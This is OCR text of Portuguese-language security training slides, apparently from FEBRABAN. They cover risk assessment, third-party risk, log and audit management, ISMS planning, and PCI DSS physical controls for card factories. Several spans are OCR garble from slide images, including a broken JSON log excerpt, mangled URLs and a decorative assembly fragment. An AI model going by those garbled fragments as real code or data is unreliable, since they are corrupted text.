Implementado Parcialmente N&o implementado
implementado
O controle foi desenvolvido e O controle nao foi
implementado de acordo O controle foi desenvolvido, desenvolvido nem
com os requisitos utilizados mas nao implementado de Implementado.
na avaliacao. acordo com 0s requisitos

utilizados na avaliacao. Ele
pode ser incompleto, mal
iImplementado ou nao funcionar
conforme o esperado.

Observacdo: O nivel de implementacéo do controle pode ser utilizado para balizar a definicdo do nivel de vulnerabilidade.
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Todos os riscos identificados devem ser avaliados quanto a sua vulnerabilidade de ocorréncia e potencial impacto. O resultado do cruzamento da vulnerabilidade e
impacto nos fornece a severidade do risco, que sinaliza a sua prioridade. A seguir séo apresentados alguns exemplos de como determinar o nivel de severidade do risco:

Exemplo

RO1 - Quando a vulnerabilidade é média e o impacto é alto Muito Alta --

Falha na entrega dos produtos e servicos em decorréncia de Alta
erros em processamentos manuais.
. Média @
Severidade:

Baixa

RO1 - Quando a vulnerabilidade € baixa e o impacto € médio

) . Muito Baixa
Falha na entrega dos produtos e servicos em decorréncia de

erros em processamentos manuais. Muito Baixo Baixo Médio Alto Muito Alto

Nivel de vulnerabilidade

Nivel de impacto

Severidade:
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Todos os riscos relevantes identificados devem ter uma ou mais a¢gdes associadas, que em conjunto definem a resposta ao risco, exemplos:

Reduzir Transferir

Desenvolver acbes para reduzir Compartilhamento do risco com
a probabilidade e/ou o impacto outra(s) parte(s)
dos riscos

Evitar

Nao iniciar ou descontinuar
uma atividade gque da origem

ao risco

Aceitar Observar Pesquisar Explorar

Retencéo do risco por uma Monitorar o risco para Reunir informacdes adicionais (apenas para oportunidades)
escolha consciente acompanhamento de sua sobre o risco Assumir ou aumentar a
evolucéo eXposiCao a um risco
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Gestao de Riscos de Tercelros

Reporte e acompanhamento dos Riscos:

Y
Arquivo Mensagem Ajuda Q Diga-me o que vocé deseja fazer
Reunido S [ Regras ~ EO ) | 4
s (OB B 38 S Ca%e | o EB 2w
inea v N ~
@ Lo letrénico ~ ©°</1" Arquivar | Responder Responder Encaminhar Sl sl Sersibiidade | Mover BBONENote | T B Al | Lerem | Traduzic | Zoom
a Todos 1] Mais ~ v - F‘éA;ﬁSV Mao Lida ~ ~ b ~ Voz Alta
Responder Sensibilidade Mover Marcas | Edigio Fala Idioma Zoom ~

Excluir

FORNECEDORES

» Osriscos podem ser reportados aos gestor
do contrato e ao fornecedor;

* Fornecedores avaliados com risco “alto”
ou “muito alto”, recebem recomendagoes
referentes aos gaps identificados na P — -
avaliacdo. A partir dessas

recomendacdes, sao elaborados planos
de acao, que devem ser executados e
reportados para que seja feita uma nova

avaliacao;

» Para os demais (classificados como risco
“baixo” e “médio”), sdo enviados relatorios
dos gaps, riscos, ameacas e
recomendacdes.
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

(as s @asconon NORMA ABNT NER DERATIONAL  iso/ne
BRASILEIRA ISO/IEC
27701

Controles CIS

5
nd priv ti
Versao8 soen sz
Técnicas de seguranga —
Extensao da ABNT NBR ISO/IEC 27001 e

ABNT NBR ISO/IEC 27002 para gestado da

a8 . National Institute of
Standards and Technology

diretrizes

zso|1eC

Conformidade: Requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com ABNT NBR ISO, PCI-DSS, NIST, entre outros
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Agora que aprendemos sobre as atividades relacionadas a Gestao de Provedor de Servigos, relembre os principais termos e conceitos
apresentados neste material:

Inventario de Fornecedores: Estabeleca e mantenha um inventario de provedores de servi¢o. O inventario deve listar todos os provedores de servigos
conhecidos, incluir classificagbes e designar um contato corporativo para cada provedor de servicos.

Politica de gestéo de provedores de servigos: Estabeleca e mantenha uma politica de gestao de provedores de servicos. Certifique-se de que a politica
trate da classificacéo, inventario, avaliacdo, monitoramento e descomissionamento de prestadores de servicos.

Classificar provedores de servicos: Certifique-se de que os contratos do provedor de servi¢os incluem requisitos de seguranca, tais como: notificacao e
resposta de incidente ou de violagao de dados, criptografia de dados e compromissos de descarte de dados.

Monitorar provedores de servigcos: Monitore os provedores de servicos de acordo com a politica de gestao de provedores de servigcos da empresa. O
monitoramento pode incluir reavaliagdo periddica da conformidade do provedor de servicos.
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Este material foi elaborado de acordo com as diretrizes do PCI DSS e CIS Controls, bem como foi considerado os requisitos de seguranga da informacao relacionados
ao tema de acordo com as normas e frameworks apresentado abaixo:

8.1 Estabelecer e manter um processo de
gestao de log de auditoria

8.2 Coletar logs de auditoria

8.3 Garantir o atmazenamento adequado
do registro de auditoria

8.4 Padronizar a sincronizagao de tempo
8.5 Coletar logs de auditoria detalhados

8.6 Coletar logs de auditoria de consulta
dns

8.7 Coletar logs de auditoria de requisicao
de url

8.8 Coletar logs de auditoria de linha de
comando

8.9 Centralizar os logs de auditoria
8.10 Reter os logs de auditoria
8.11 Conduzir revisdes de log de auditoria

8.12 Colete logs do provedor de servigos

3

10.1 Processos e mecanismos para
registrar e monitorar todos 0s acessos aos
componentes de sistema e aos dados do
titular do cartéo séo definidos e
documentados.

10.2 Os registros de auditoria séo
implementados para apoiar a detecgao de
anomalias e atividades suspeitas, e a
analise forense de eventos.

10.3 Os registros de auditoria séo
protegidos contra destruicao e
modificagdes ndo autorizadas.

10.4 Os registros de auditoria séo
revisados para identificar anomalias ou
atividades suspeitas.

10.5 O histérico do registro de auditoria é
mantido e disponivel para analise.

10.6 Os mecanismos de sincronizagao de
tempo suportam configuracdes de tempo
consistentes em todos os sistemas.

10.7 Falhas de sistemas criticos de
controle de seguranca sdo detectadas,
relatadas e respondidas prontamente."

5.33 Protecdo de registros

5.35 Revisao independente da seguranca
da informacéo

5.36 Conformidade com politicas, regras e
padrdes para seguranca da informacéo

8.15 Registro
8.16 Atividades de monitoramento
8.17 Sincronizacdo de relégio

8.34 Protecéo de sistemas de informacéo
durante testes de auditoria

GV. OC-03: Os requisitos legais,
regulamentares e contratuais relativos a
seguranga cibemética - incluindo
obrigacdes de privacidade e liberdades
civis - sdo compreendidos e gerenciados

GV. OV-02: A estratégia de gerenciamento
de riscos de seguranca cibemética é
revisada e ajustada para garantir a
cobertura dos requisitos e riscos
organizacionais

D.IM-01: Melhorias sao identificadas a
partir de avaliagdes

ID.IM-02: As melhorias séo identificadas a
partir de testes e exercicios de seguranca,
incluindo aqueles feitos em coordenacao
com fornecedores e terceiros relevantes

PR.PS-04: Registros de log séo gerados e
disponibilizados para monitoramento
continuo

5.7.2 Auditoria intema
6. 9.4.1 Registros de eventos (logs)

6.9.7 Consideragdes quanto a auditoria de
sistemas de informacéo

6.15.1 Compliance com requisitos legais e
contratuais

6.15.2.1 Andlise critica independente da
seguranga da informagéo

7.2.8 Registros relativos ao tratamento de
DP

7.5.3 Registros de transferéncia de DP
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ipp/rest/json/file”, “webParams" :
:"7:4:!3(:1395-19e2-»4;1169-138117-69.1«1864:273(11".2 5. 018"
Tie":"23"}{ "timestam 2617-06-83T18:g : . >
114s": "23"}{"¢ . equestHandler”, method

-i.orgmanager.handlers.k d
:"5022", "message”:"Dur
npp/pagc/analyze ’

ation Log
wwebparams”:

32&98686-afd8t45
145" 36"} (" time
e a _new
filc=chartd;:r;d353n7
1i11ds":"
789d89¢<b-7

W Risco Iminente

Estee Lauder tem 440 milhdes de registros de e-mail
e logs expostos

https:/Awww.ciso advisor.com.br/estee-laud er-tem-440-milhoes-de-registros-de-e-mail-e-logs-expostos/

Um dos maiores vazamentos de dados da histéria envolve a empresa de crédito norte-
americana Equifax. (Getty Images/Reproducao)

https:/Mvww.tecmundo.com.br/seguranca/282594-7-maiore s-vazamentos-dad os-historia. htm

W Cibercrime

2,7 bilhoes de registros em vazamento na dark web

https:/Avww.ciso advisor.com.br/27-bilho es-de-registros-em-vazamento-na-dar k-web/
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Segundo a 1SO27001, os registros (log) de eventos das atividades do usuério (excecdes, falhas e eventos de seguranca da informagdo) devem produzidos,
mantidos e analisados criticamente, a intervalos regulares, tais como: identificacdo dos usuarios (IDs), atividades do sistema, log-in e log-off, arquivos acessados ou

alterados, enderecos de rede e protocolos, entre outros.

Instituicao

[ Gestéo de Registros 1

Acessos DNS Linhas de comando Configuracdes Provedores de

Servicos y

Os registros de log também sdo essenciais para a resposta a incidentes. Apos a deteccao de um ataque,
a analise de log pode ajudar as empresas a compreender a extensdo de um ataque. Os registros de log
completos podem mostrar, por exemplo, quando e como 0 atague ocorreu, quais informagdes foram
acessadas e se o0s dados foram extraidos. A retencdo de logs também € critica no caso de
acompanhamento de uma investigacdo ser necessaria ou se um ataque permanecer nao detectado por um
longo periodo de tempo.

Beneficios

Contribui com a resposta a incidentes

Preservar o valor da marca e a reputacao

Aprimorar a relacdo de confianca com
clientes e parceiros

Mitigar riscos financeiros, operacionais e
legais
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A seguir é apresentado alguns procedimentos e ferramentas que devem ser considerados na Gestao dos Registros:

Aretencéo de dados de log também é importante no caso de uma investigacdo de incidente ser necesséria. E importante definir

uma politica de retencé&o e eliminacdo, bem como determinar por quanto tempo os registros/logs devem ser
armazenados (de acordo com 0s requisitos legais e regulamentares).
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Boas praticas de
Protecéo de
registros — para
evitar perda,
destruicao,
falsificac&o, acesso
nao autorizado.

Politica contendo Implementar uma O sistema de gerenciamento Aplicar protecéo
diretrizes para rotina de deve possuir identificacdo dos (controle de acesso,
armazenamento, retencao/backups registros e garantir que seu criptografia, etc) aos
manuseio da cadeia de para 0s registros, periodo de retencédo siga 0s registros levando em
custodia e retencéo assim como definir o regulamentos legais conta sua classificacéo
dos registros. periodo de nacionais e regionais. de seguranca, baseada
retencgéo. no esquema de

classificagao da
organizacao.



Boas Praticas de Gestao de Registros

e e e e -
=
—
-
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Categorizar os registros
(sistétmicos, transagéo de
negaocios, registros
pessoais, legais) e detalhar
0s tempos de retencao,
formato de armazenamento
(fisico ou digital).

-—— = —
e o ——— = - e -
-—— -
- —
- -—
- —
| -

Sistemas de
armazenamento de
dados devem ser
selecionados
seguindo requisitos
de registros com
determinados frames
e formatos.
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Estabelecer controles de
acesso aos registros no
periodo de tempo definido,
visando proteger de perdas
devido a mudancas
tecnologicas.
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Para gerar evidéncia, recordacéo de eventos, manter a integridade da informacgéo de logs e prevenir acessos sem autorizacdo é de extrema importancia que o

registro dos logs seja protegido, armazenado e documentado e analisado.

Detalhamento de Logs devem conter, se aplicavel:

* IDs de usuarios

« Origem/atividades de sistema

» Datas, horarios e detalhes relevantes

« Identidade de aparelho e sistema e localizacao

« Enderecos de rede e protocolos (DNS, roteamento,
IPs)

« Documentos acessados e o tipo de acesso

« Tipo do evento

« Criacdo, modificacdo ou excluséo de documentos

» TransicOes executadas por usuarios e aplicagoes

Medidas de Protecéo de Logs

» Usuarios ndo devem ter permissao para apagar ou
desativar logs de suas proprias atividades.

 Alguns controles devem ser aplicados focando em
alteracdes sem autorizagao e operacionais, como:

alteracao das mensagens que forem
registradas;

Realizar copias de seguranca (backups);
documentos de log serem deletados ou
editados;

aplicacao se necessario, de criptografia
hashing, ou documentos de leitura apenas;
controle de acesso, entre outros.
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As redes, sistemas e aplica¢cfes devem ser monitorados visando identificar comportamentos alterados e suas devidas a¢des consequentes.

Quais os registros relevantes a serem coletados para garantir um bom monitoramento de atividades e os cuidados com devidos re gistros?

A organizacao deve estabelecer um padrdo de comportamento e
verificar por diferencas para identificar anomalias, ao estabelecer
esse padréo, é importante revisar a utilizagdo de sistemas em periodos
normais e periodos de turbuléncia, e horarios comuns de acessos,
localizagdo comum e frequéncia de acesso de determinados grupos.

/

Deve-se registrar:

» Trafego de redes, sistemas e aplicacdes (e 0s acessos
realizados a estes)

* Acesso a sistemas de nivel administrativo ou critico

* Oslogs de ferramentas de seguranca e de eventos
(relacionados & sistemas e atividades da rede)

* O usode recursos (CPU, memoria, hard disks) e sua

performance) j

Através destes registros deve ser possivel identificar:

+ Atividades tipicamente associadas a malware ou trafego de origem
maliciosa

* Conhecer caracteristicas comuns de ataques

+ Comportamento incomum de sistema ou sobrecargas

* Acessos ndo autorizados a informagfes de sistema

+ Tentativas bem sucedidas e mal sucedidas em acessos a recursos
protegidos
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Os reldgios dos sistemas de processamento de informacdo devem estar todos sincronizados para possibilitar fontes confidveis e correspondéncia relacionada,
permitindo investigacdes exatas em caso de incidente.

Requisitos para a sincronizacéo e precisdo devem ser aplicados e implementados.

Um horario padréo de referéncia deve ser utilizado na organizagdo para todos os sistemas,
incluindo gerenciamento de construcdo de sistemas, sistemas de entrada e saida e outros que
podem ser utilizados para auxiliar em investigacoes.

Um reldgio atémico nacional ou de sistema de posicionamento global deve ser utilizado como
referéncia para os sistemas de Log.

Protocolo de horério derede (NTP) ou protocolo de preciséo de tempo (PTP) devem ser
utilizados para manter os sistemas sincronizados.

A sincronizacgéo de horéarios pode ser dificultada em caso de uso de mdltiplos servicos em nuvem ou ao
utilizar servicos em nuvem e on-premise. Nestes casos o relégio de cada um dos servicos deve ser
monitorado e a diferenga deve ser registrada visando mitigar riscos devido a discrepancia.
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Governancga Corporativa € o conjunto de politicas, funcdes, responsabilidades e processos que orientam e controlam as acdes ad otadas pela Organizacdo para atingir
seus objetivos de negdbcio, resultando em sinergia e alinhamento:

( )
atua na gestao das

praticas pelas quais 0s recursos da
Organizagao sao dirigidos, monitorados
(" ) e medidos; desempenha papel

é fungéo fundamental na prevencéo e deteccéo
independente e de aconselhamento a de fraudes, protecédo dos ativos fisicos e
Alta Administragdo, destinada a agregar intangiveis e garantia na confianca das
valor e melhorar as operacgdes da Ies demonstragdes financeiras e seus
Organizagao, por meio do processos correlatos.
aprimoramento dos instrumentos
destinados a gestéo de riscos, controles
e processos de governanga. Seu escopo
de atuacéo é amplo, e_contribui para a

confiabilidade dos relatérios técnicos,
financeir lv r tiv )
conformidade com leis e regulamentos tem como objetivo
internos (“compliance”). - a identificacdo de eventos que
Gestao de poderiam comprometer as estratégias
N J Riscos da Organizagdo na consecucéo dos

seus objetivos de negdcio; atua no

gerenciamento destes eventos, de
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A auditoria de TI/SI esta focada nos maiores riscos para a organizagdo, nas areas de risco mais impactantes a estratégia de negdécios da Instituicdo.

{0} DevSecOps confianga em riscos e controles

O desenvolvimento continuo (DevSecOps) exige uma nova abordagem para
mitigar os riscos de Tl e levara os auditores a repensar riscos e controles
histéricos para SOX e riscos operacionais em um mundo DevSecOps.

=
=1 Privacidade de dados

Falhas ou violagdes nagestdo de dados atrairam atencao significativa do
regulador e de cliente, bem como resultaram em uma presséo maior para
melhorar os procedimentos e politicas de governanga de dados.

i? IT Transformation

Investir energia no estabelecimento de controles internos, ainda em fase
de implementagéo ou transformagéo de sistema, pode economizar ttmpo e
evitar a necessidade de remediagé&o.

@ Riscos digitais e tecnologias cognitivas

A automagcéo de tarefas rotineiras esta ganhando forga nos dias atuais,
contudo muitas empresas nao pensaram no aumento dos riscos de
seguranca, privacidade, bem como no aumento da suscetibilidade de
hackers cibernéticos.

Assegurar

Comunicar

Antecipar

A Risco de dados, classificacdo & protecéo

Muitas organizagdes lutam para implementar e impor com sucesso estruturas
de governanca de dados, pois dependem de novos modelos de infraestrutura,
com dados e sistemas de armazenamento fragmentados.

(= Cyber identity & access management

Com a mudancga para uma for¢a de trabalho remota, muitos departamentos de
Tl sdo incapazes de acompanhar acrescente necessidade de direitos de

acesso.

® Cyber network & endpoint protection

O comprometimento de um Gnico endpoint dentro de um ambiente
considerando como critico pode comprometer a seguranga de toda uma
organizagao.

Enterprise business & technology resiliency

A escala de mudancas globais e organizacionais, agravada pelas
deficiéncias na gestao da continuidade de negdcios, esth aumentando a
exposicdo das organizac8es aos riscos de interrupc¢do operacional.
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Sistema de Gestéo de Seguranca da Informacéo (SGSI):

Selecionando o escopo
para Auditoria

Pessoas

Ativos Fisicos

Ativos Intangiveis
Hardware

Software

Ativos de Informacao
Servicos

Um escopo explicitamente detalhado descreve o que sera avaliado
pela norma.

A organizacdo que esta dentro do escopo deve apresentar uma
separacéo fisica e/ou légica de terceiros e de outras organizacdes
dentro de um grupo maior.

O escopo identificado para o0 SGSI precisa levar em conta as
interfaces, pontos de contato e interdependéncias com as outras partes
da organizacao.

Alguns limites tém que ser identificados na organizacao:
Caracteristicas do negdécio;
Ativos (qualquer ativo de valor);
Redes e comunicacéo (mapas de redes);
Dados; e
Localizacbes geogréficas.

A norma exige explicitamente que seja identificado o que esta fora do
escopo do SGSI e justificativa da sua excluséo.
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Planejar — Seguranca da Informacao

Estrutura para estabelecer um Sistema de Gestdo de Seguranca da Informagé&o (SGSI):

Planejar
(Estabelecer o
SGSI)

Executar
(Implementar e
Operar 0 SGSI)

Verificar
(Monitorar e
revisar o SGSI)

Gerenciar
(Manter e
aprimorar o
SGSI)

2

Passo 1

Passo 2

Passo 3

Passo 4

Passo 5

Passo 6

Passo 7

Passo 8

Definir o escopo ao qual o SGSI se aplica

Estabelecer o SGSI (ex: comité, funcdes,
etc.)

Estabelecer as politicas de suporte ao SGSI

Estabelecer os objetivos e indicadores do
SGSI

Planejar e realizar uma avaliagéo de riscos
periddica

Tratar os riscos

Preparar declaracéo de resultados para
aplicabilidade

Aprovar os riscos residuais e realizar reviséo
gerencial

Documentar o
escopo

Politica de
Seguranca

Relatério de
Avaliagéo de
Riscos

Statement of
Applicability

Documentacéo relacionada

Comité de
Seguranca

Documentar o
processo de
controle

Procedimentos
para tratamento
dos riscos

Programa de
avaliacdo de
controles

FEBRABAN

Papéis e
Responsabilidade

Procedimentos de
gestao de riscos

Manual do SGSI
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Estrutura para estabelecer um Sistema de Gestdo de Seguranca da Informagé&o (SGSI):

Documentacéo relacionada

Planejar
(Estabelecer o Elab lano de aca
orar o plano de ac&o para o tratamento
SGSI) Passo 1 |, Plano de acio de
tratamento de
riscos

Recursos
(pessoas, Programa de
equipamentos e Treinamento
ferramentas)
Passo 2 Alocar recursos

Executar
(Implementar e Usar controles

Operar 0 SGSI)

Avaliacdo e :
¢ Procedimentos

registros dos PCN e PRDs

: operacionais
treinamentos

Passo 4 Realizar treinamento e avaliagdo

Passo 5 Gerenciar operagoes do SGSI

Verificar o
Monit Relatérios de Resposta a
( Ofiforare acompanhamento Gestao de Ativos P
revisar o SGSI) ~ o indicad Incidentes
Tomar agdes resultantes dos incidentes de € Indicadores

Passo 6

seguranga

Gerenciar
(Manter e
aprimorar o
SGSI)

VAN A




Verificar — Seguranca da Informacao FEBRABAN

Estrutura para estabelecer um Sistema de Gestdo de Seguranca da Informagé&o (SGSI):

Acéo Documentacéo relacionada

Planejar
(Estabelecer o

SGSI) Passo 1 Realizar a andlise da gestdo em curso

Reporte sobre as Reportes ao
operagdes de Comité de
seguranga Segurancga

Procedimentos
para auditorias

Passo 2 Manutencao do Comité de S.I.

Executar
(Implementar e
Operar 0 SGSI)

Auditoria internas
Reporte de

Auditoria Interna indicadores e
incidentes

Auditoria de
Certificacao

Auditoria de Certificagdo (simulagéo, etapa 1,

SRR ctapa 2, fiscalizactes)

Reviséo periddica do SGSI e seus
indicadores

Passo 5

Verificar
(Monitorar e
revisar o SGSI)

Revisdo periddica

do SGSI

Gerenciar
(Manter e
aprimorar o
SGSI)
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Estrutura para estabelecer um Sistema de Gestdo de Seguranca da Informagé&o (SGSI):

Acéo Documentacéo relacionada

Planejar
(Estabelecer o . . .
SGSI Tomar agdes corretivas e preventivas
) Rl boscadas na fase de verificacéo Plano de - Reporte de
Tratamento de Objetivos do SGSI indicadores e
Riscos incidentes
Passo 2 Realizar acdes de aprimoramento

Executar . ~ .
(Implementar e Passo 3 Comunicar acg6es realizadas e acompanhar
P as acbes em curso
Operar o0 SGSI) Plano de

Comunicagao

Melhoria Continua

Verificar
(Monitorar e
revisar o SGSI)

Gerenciar
(Manter e
aprimorar o
SGSI)




Abordagem
Auditoria
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A seguir sao apresentadas as fases e abordagem para orquestracdo da auditoria:

Planejar @ Executar Documentar Reportar

» Alinhar expectativas da « Conduzir entrevistas com « Documentar o cenario » Consolidar os resultados
auditoria; 0S responsaveis para atual e observacoes; identificados;

« Comunicar os objetivos da entendimento do processo; « Definicdo de + Preparar relatorio de
auditoria as partes envolvidos * Analisar as documentactes conformidades e néo auditoria interna;
(reuniéo de aberturay); internas do processo conformidades; « Realizar reunido de

« Detalhar escopo a ser auditado; (politicas, procedimentos); « Preparar as apresentacéo do

- Solicitar documentac&o a area a * Realizar teste de recomendacoes e resultado da auditoria;
ser auditada (ex. Evidéncia de efetividade com o objetivo oportunidades de « Emitir o relatério
implementac&o de técnicas de de validacdo dos controles aprimoramento; detalhado, contendo o
criptografia, Certificados digitais, ou identificacéo de + Producéo de atas. objetivo e escopo do
etc); eventuais deficiéncias. trabalho, descrigao dos

- Programar reuniées de pontos identificados, e
acompanhamento. recomendacoes;

* Apresentacdo dos
resultados e

Produtos encerramento.
« Cronograma * Matriz de controles + Documentagdes * Relatério
* Reunido de * Matriz de riscos + Atas

Abertura » Matriz de aplicabilidade
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Atributos da Area de Auditoria Principais Atividades

» Possuir linha de reporte clara e independente, comunicando-se » Elaborar plano de auditoria alinhado as diretrizes estratégicas,
diretamente com o Comité de Auditoria e Alta Administracéo. riscos e processos relevantes e prioridades dos gestores.

» Possuir autonomia para obtencao e analise de informacdes e » Auxiliar naidentificagéo e avaliacdo dos principais riscos, suas
execucao dos trabalhos. origens e estratégias de mitigagao.

+ Estar alinhada as diretrizes estratégicas e ao modelo de * Revisar os controles relacionados aos principais processos de
Governanca Corporativa. negacio.

» Contribuir para aderéncia das atividades as expectativas dos » Executar testes de auditoria, avaliando aspectos de gestao,
gestores, padrbes éticos, politicas internas e regulamentacdes tecnologia, controles internos e “compliance”.

(‘compliance”). » Validar os aspectos identificados com as areas auditadas e propor

+ Atuar de modo complementar as atividades de Gestao de Riscos e acOes para mitigacdo dos riscos.

Controles Internos, buscando sinergias. * Conduzir “follow-up” dos planos de agao e realizar trabalhos

* Propor melhorias nos processos, controles e aprimoramento dos especiais.
instrumentos destinados a gestéo de risco e Governanca

. * Priorizar o reporte dos resultados as areas auditadas e ao Comité
Corporativa.

de Auditoria.

Fluxo de trabalho

Solicitagdo de Entendimento do
documentacédo para processo e do
a realizagéo de ambiente de
analises controle

Elaboragédo do
Programa de
Auditoria

Analise da situacao Identificacéo das Identificacdo das Reunido de
atual e validacéo fragilidades de oportunidades de apresentacao dos
dos resultados controle melhorias resultados

Reuniao de abertura

com os envolvidos
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Boas Praticas - Testes em Sistemas FEBRABAN

Testes de auditoria em sistemas operacionais devem ser planejados e acordados, visando minimizar o impacto da auditoria e outras atividades em sistemas operacionais
e processos de negocios.

Recomendagdes:
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

21017

NST
» DSS 6 Center for 800-53
4 COMPLIANT » Internet Security® Biocioncl

International Organization for
Standardization

Conformidade: Dado o uso extensivo de padrdes amplamente aceitos pela industria, a Gestdo dos Registros e Préaticas de Auditoria deve ser alinhada com
alguns dos requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com PCI-DSS, 1SO, Bacen 4.893, NIST, entre outros.
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Agora que aprendemos sobre as atividades relacionadas a Gestdo de Registros e Praticas de Auditoria, relembre os principais termos e
conceitos apresentados neste material:

Protecdo e boas praticas de registros: para evitar perda, destruicdo, falsificacdo, acesso nao autorizado € de extrema importancia a protecao e
apropriada documentacao de registros seguindo as politicas da empresa e seu armazenamento protegido e devidamente categorizado.

Boas préticas de registros em compliance: Aplicacdo devida de compliance seguindo normas, regras e boas praticas organizacionais devem ser
revisados regularmente para garantir que a seguranca da informacgéo seja implementada e operada em concordancia..

Gerentes, servicos, produtos ou outros detentores de informacao devem identificar como revisar 0s requisitos de seguranca dainformacao e outras
regulamentacoes.

Protecdo em processos de auditoria: Em processos de auditoria, como testes, avaliagdes, analises e outros procedimentos intra ao sistema é de
extrema importancia a protecédo de dados e documentos que serdo disponibilizados ao processo. Todos 0s acessos devem ser analisados e verificados, e
de preferéncia os documentos devem ser mantidos como forma de “apenas leitura” para evitar vulnerabilidades.



Modulo: Boas Praticas de
Seguranca - Fabricas de
Cartoes
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panov ebx, (d_ow)

\oax, 4

N

Al mag_done

"‘%—'fi""
b
- S/

v eaK, B
ov gl name

mov ecx, 0

mov edx,

Int OxHO t

mov [fd_tnl cox
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Roubo de dados e cartdes mantidos ou Vazamento e exposicao de informacdes
gerenciados por terceiros sensiveis (titulares de cartdes)
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Al o SSF (g
Alta complexidade para implementacgéo

- N Indisponibilidade de sistemas e servigos criticos,
dos padrées de seguranca Regulamentagdes e fatores externos levando a perdas
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Payment Card Industry

O Padréo de Seguranca de Dados do Setor de Cartbes de Pagamento (PCI DSS) foi
desenvolvido para aprimorar a seguranca dos dados de contas de cartdes de
pagamento e facilitar a ampla adocéo de medidas de seguranca de dados consistentes no
mundo todo. O PCI DSS fornece os requisitos técnicos e operacionais projetados para
proteger os dados. Embora especificamente projetado para se concentrar em ambientes
com dados de conta de cartdo de pagamento, o PCI DSS também pode ser usado para
proteger contra ameacas e proteger outros elementos no ecossistema de pagamento.

Requisitos de Seguranca e Protecdo dos Dados

Seguranca em redes Criptografia Protecao de sistemas Segurancafisica

Configuracbes seguras Gestao de Desenvolvimento seguro Testes de seguranca
vulnerabilidades

Protecéo de dados Protecao de sistemas Controle de acesso Politicas e procedimentos
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Para obter a certificacdo € necessario atender os requisitos da PCI Compliance Assessment (Avaliacdo de Conformidade PCI) e contratar
uma empresa ou um responsavel autorizado (Qualified Security Assessors) para emissédo de conformidade dos controles. A certificacédo
PCI DSS é um padrao de mercado que visa proteger as transacdes financeiras com cartdes de crédito e debito contra fraudes e roubo de dados.

O processo para obter a certificacdo PCI DSS, ou Payment Card Industry
Data Security Standard, envolve uma série de etapas, como:

Avaliar controles de seguranca destinados a producao de cartdes

(fabricas);
s . e v

Adequar a organizacéo as exigéncias da certificacao;

Contratar uma consultoria especializada para implementar as \\

configuracbes necessarias; N

Realizar uma auditoria para verificar se todos os requisitos foram \\

_ atendido. <

Instalar firewalls N
Software antimalware N
Software antivirus Obs.: O Relatério de Cumprimento (ROC) € o modelo de relatdrio que o N
Implementar criptografia auditor utiliza para realizar as avaliagdes nos fornecedores. Ele serve \
Controle de acesso como uma declaracao dos resultados da avaliacao do fornecedor do \
Monitoramento continuo cartdo em relacdo ao cumprimento com o PCI. \\
Testes de seguranca N

Gestao de vulnerabilidades
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O que faz umafabrica de cartao? fQuaI a importancia das medidas de seguranca fisica no
processo de fabricacao e personalizagdo de cartdes?
Uma fabrica de cartdo de crédito € uma empresa que
produz, imprime ou personaliza cartdes, utilizando Mitigar riscos associados a entradas nédo autorizadas ao
maquinas modernas e profissionais especializados. local, possiveis vulnerabilidades visando golpes e
fraudes, protecao e retencdo de informacoes e itens
A fabricacdo de um cartdo envolve varias etapas, como: sigilosos.
* Producéo da placa
* Personalizacéo da placa com impresséao E fundamental estar atento a forte implementagdo de
» Corte dos cartbes medidas de protecdo nas fabricas de cartdes pelo alto
* Finalizacbes nivel de sensibilidade das informacfes pessoais.
* Testes
» Distribuicdo e entrega dos cartbes
\_ / \§ /
4 )

Elementos de seguranca fisica em fabricas e personalizadoras de cartdes:

Monitoramento Controle de acesso Barreiras fisicas Controles Detectivos
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Segundo o PCI, as areas e instalagdes em que ha produgéo de cartdo, componentes ou dados sdo armazenados ou processados, sdo chamados de areas de alta
seguranga (HSA), tornando-se assim fundamental a protecéo destas areas por meio da implementacéo e gestao de controles fisicos rigidos:

Link — Material de Apoio

N&o deve ser possivel exibir
atividades na HSA (area de
alta seguranca) a partir do
exterior do edificio, através
da utilizag&o de vidro opaco
ou ndo transparente.

Toda a HSA (area de alta
seguranca) deve ser coberta
por CCTV (Circuito Fechado de
Televisdo) e monitoramento
humano.

Todos os pontos de acesso
(por exemplo, dutos elétricos,
janelas e pocos de ventilagéo)
devem ter barreiras fisicas.

Paredes e tetos devem ser
construidas em torno da HSA
(area de alta seguranca)
visando a prevencao de
acesso através de tetos falsos
ou pisos elevados.

As portas ndo devem abrir
diretamente para o exterior do edificio,
apenas em situacdes de emergéncia.

Todas as portas e portdes devem
possuir equipamento com fecho
automatico ou dispositivos de
bloqueio e alarmes sonoros que soam
se a porta ou porta permanece aberta
durante mais de 30 segundos.

Saidas de emergéncia devem estar
equipadas com alarmes sonoros
locais e monitorado 24 horas por dia e
também deve exibir um sinal indicando
“porta de saida de emergéncia com
alarme.”

Todas as portas devem estar
equipados com um sistema de acesso
de leitor de cartdo conectado a um
computador que grava todos os
registros/movimentos.



Segmentacao e Controle de Acesso em Salas

Dentro do HSA (area de alta seguranca), podem existir 0s seguintes salas/ambientes segmentados:

Producéao de
NEEE

Deve serrealizada em
uma sala separada no
interior da HSA.

Neste ambiente o
fornecedor produz
ou compra, placas,
ouU meios
magneéticos.

Producéo de PIN deve
ser realizada em uma
sala separada no
interior da HSA.

Pessoas envolvidas
na personalizacéo
nao devem nunca
ser envolvidos na
impresséao PIN dos

cartdes associados.

Sala de
destruicéao

Destruicado de
produtos cartéo e
residuos componente
deve ocorrer em uma
sala separada (s)
dentro do HSA que se
dedica a destruig&o.

Procedimentos:
destruicéo fisica
(fragmentacao) ou
incineracao.

Tratamento e
gerenciamento de
chaves deve ser
realizada em uma sala
separada dentro do
HSA . Sala destinada
a preparacao de
dados,
processamento e
gerenciamento de
chave.

Pode ocorrer na
mesma sala ou cada
um em uma sala
separada.

Sala de

Servidores e Sala s
Key Management

FEBRABAN

Cofre

Devem ser
armazenados no
vault:

 Cartbes aguardando
personalizacéo

» Componentes de

seguranca
* Materiais
aguardando
destruicao

* As amostras e o0s
cartdes de teste antes
da distribuicao

» Cartbes
personalizados



Se a HSA contém portas corta-fogo que operam
normalmente fechadas ou pode ser fechada
manualmente.

Estas portas estéo sujeitos aos mesmos controles de
acesso como qualquer outra porta que da acesso a
uma sala/quarto.

